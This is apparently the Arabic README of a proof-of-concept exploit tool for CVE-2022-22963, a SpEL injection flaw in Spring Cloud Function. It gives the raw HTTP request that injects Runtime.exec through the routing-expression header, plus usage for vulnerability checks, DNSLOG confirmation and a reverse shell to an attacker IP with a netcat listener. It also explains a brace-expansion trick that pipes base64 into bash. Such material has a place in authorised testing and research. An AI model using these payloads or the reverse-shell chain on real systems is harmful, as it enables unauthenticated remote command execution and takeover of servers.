
CVE-2022-22963-poc
أداة كشف واستغلال ثغرة الحقن التعبيري SpEL في Spring Cloud Function لتنفيذ الأوامر عن بُعد.
CVE-2022-22963 هي ثغرة عالية الخطورة (CVSS 9.8) في وظيفة التوجيه (routing) في Spring Cloud Function. عند تمكين نقطة النهاية /functionRouter، يتم تنفيذ قيمة رأس الطلب spring.cloud.function.routing-expression مباشرةً كتعبير SpEL (Spring Expression Language)، مما يسمح للمهاجم دون مصادقة بتنفيذ أوامر عشوائية على الخادم الهدف.
الإصدارات المتأثرة:
| الفرع | الإصدارات المتأثرة | الإصدار المُصحّح |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
مبدأ الثغرة:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
بعد تنفيذ SpEL، ترجع exec() كائن Process، وعند محاولة Spring تسلسله يتم إلقاء استثناء، فيستجيب الخادم بـ HTTP 500. يتم تنفيذ الأمر في الخلفية بشكل غير متزامن، لا يتم إرجاع النتيجة في استجابة HTTP، بل يجب تأكيدها عبر قنوات جانبية مثل DNSLOG أو Shell عكسي.
ping إلى نطاق DNSLOG، وتأكيد تنفيذ الأمر عبر سجلات DNS.pip install requests
Python 3.6+ بدون تبعيات إضافية.
python3 CVE-2022-22963.py -u <目标URL> [خيارات]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com يوجد ثغرة!
يُستخدم لتأكيد تنفيذ الأمر الفعلي في حالة عدم وجود استجابة مباشرة:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] تم إرسال الحمولة، يُرجى التحقق من abc123.dnslog.cn لاستلام طلب DNS (لتأكيد التنفيذ الفعلي)
ثم يتم مراجعة منصة DNSLOG لمعرفة ما إذا تم استلام استعلام DNS من عنوان IP الهدف.
على جهاز المهاجم، افتح مستمعًا:
nc -lvnp 9999
أرسل الحمولة:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] تم إرسال الحمولة، انتظر الاتصال على 192.168.1.100:9999 (يدعم فقط Linux/bash)
ملاحظة: يعتمد الـ Shell العكسي على وجود دعم
/dev/tcpفي النظام الهدف، وهو مناسب فقط لبيئات Linux + bash، ولا يدعم أهداف Windows أو شل sh/ash/dash.
يرسل طلب الكشف تعبير SpEL حقيقيًا إلى /functionRouter:
T(java.lang.Runtime).getRuntime().exec('id')
Process → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) لا يمر عبر تفسير shell، بل يقوم بتقسيم سلسلة الأوامر حسب المسافات، ولا يمكنه التعامل مع الأنابيب وإعادة التوجيه. تتجاوز الأداة ذلك من خلال:
{cmd,arg} بدلاً من المسافات-c في bash الهدفbash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec تقوم بتقسيم حسب المسافات
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c يقوم بتوسيع الأقواس للمعامل
echo BASE64 | base64 -d | bash -i
| التاريخ | الإصدار | الشرح |
|---|---|---|
| 2023-12-28 | v1.0 | الإصدار الأولي |
| 2025-10-09 | v1.1 | إعادة هيكلة الكود، تحسين معالجة الوسائط ومعالجة الأخطاء |
| 2026-06-29 | v1.2 | إصلاح الإنذارات الكاذبة في الكشف، ربط مسار context، مشكلة دلالة قيمة الإرجاع في الاستغلال |
هذه الأداة مخصصة فقط لأغراض البحث الأمني، واختبار الاختراق المصرح به، والتعليم.
باستخدام هذه الأداة، فإنك توافق على:
لا يتحمل المؤلف أي مسؤولية عن أي استخدام غير مصرح به أو عواقبه.
| الوسيط | الشرح | القيمة الافتراضية |
|---|
-u, --url | عنوان URL الهدف (إجباري) | — |
-c, --check | التحقق من وجود الثغرة | — |
-m, --mode | وضع الاستغلال: dnslog أو shell | — |
-d, --dns | نطاق DNSLOG (يُستخدم مع -m dnslog) | — |
-i, --ip | عنوان IP المستقبل للـ Shell العكسي (يُستخدم مع -m shell) | — |
-p, --port | منفذ الاستقبال للـ Shell العكسي | 9999 |
-t, --timeout | مهلة الطلب بالثواني | 5 |